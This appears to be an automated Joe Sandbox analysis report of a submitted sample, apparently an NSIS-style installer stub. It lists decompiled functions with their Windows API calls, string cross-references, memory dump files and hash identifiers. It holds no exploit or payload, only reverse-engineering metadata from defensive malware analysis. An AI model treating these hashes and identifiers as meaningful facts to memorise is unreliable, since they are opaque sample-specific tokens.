GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd32, xrefs: 00403D14
(7B, xrefs: 00403B04
RichEdit20W, xrefs: 00403D24, 00403D2A
.exe, xrefs: 00403BE6
RichEd20, xrefs: 00403D06
_Nb, xrefs: 00403C5C, 00403CC4
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEdit, xrefs: 00403D33

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(00000040,0040A230), ref: 004030F0

Strings

Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
Null, xrefs: 00403029
soft, xrefs: 00403020

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction ID: e73fa1987b6059f35b704de59c80f6892b54c3d1ee51518932a2041d94d0b0cb
Opcode Fuzzy Hash: b84216cbe2d5722ff5c8c30ae43643c8050e8425152119dcc0cd5bf76baef7c3
Instruction Fuzzy Hash: BE21A171900558BACB119F95DD84ACFBFB5EF84314F10803AF904B22A1C3798A91CFA8

Function 00402E8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402EA9
GetTickCount.KERNEL32 ref: 00402EC7
wsprintfW.USER32 ref: 00402EF5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

CreateDialogParamW.USER32(0000006F,00000000,00402DF3,00000000), ref: 00402F19
ShowWindow.USER32(00000000,00000005), ref: 00402F27

Part of subcall function 00402E72: MulDiv.KERNEL32(?,00000064,?), ref: 00402E87

Strings

... %d%%, xrefs: 00402EEF

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction ID: c65c9f61eb329069142d3a49436c3393aeffd9891ae55f37d91fa0e4ac25720a
Opcode Fuzzy Hash: c40ddff33436de44b244b2b19f9e8da7546f4e0328de08243a0837e5050f2c6b
Instruction Fuzzy Hash: 1A016170941614EBC7226B60EE4DA9B7B68BB01745B50413FF841F12E0CAB84459DBEE

Function 00404D1A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D35
GetMessagePos.USER32 ref: 00404D3D
ScreenToClient.USER32(?,?), ref: 00404D57
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D69
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D8F

Strings

f, xrefs: 00404D6B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction ID: ac2b37e4453cd55ff3643614bd1240a9a451636028a825994647dd398b99f398
Opcode Fuzzy Hash: e2d2d6aa42d138b4bf43a857dc2fb8cfa63f2fbdf5f441295addbf44c9bf4daa
Instruction Fuzzy Hash: 23015E71940218BADB00DB94DD85FFEBBBCAF95711F10412BBA50F62D0D7B499018BA4

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

\, xrefs: 0040677A
%s%S.dll, xrefs: 0040679E
UXTHEME, xrefs: 0040675B

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction ID: 07f60acf873a648e61080255fd3e200204736070213a9ab7c1209ab7057fe03e
Opcode Fuzzy Hash: 40aa1e09304642b089aa1993992f232c43871fa513f82abce0c0f0efb2bd037b
Instruction Fuzzy Hash: 27F0FC70540219AECB10AB68ED0DFAB366CA700304F10447AA64AF20D1EB789A24C798

Function 00402DF3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402E11
wsprintfW.USER32 ref: 00402E45
SetWindowTextW.USER32(?,?), ref: 00402E55
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402E67

Strings

unpacking data: %d%%, xrefs: 00402E33, 00402E43
verifying installer: %d%%, xrefs: 00402E3A

Memory Dump Source

Source File: 00000004.00000002.2928589443.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2928554628.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928607933.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928626637.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2928652130.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_ZaRP7yvL1J.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
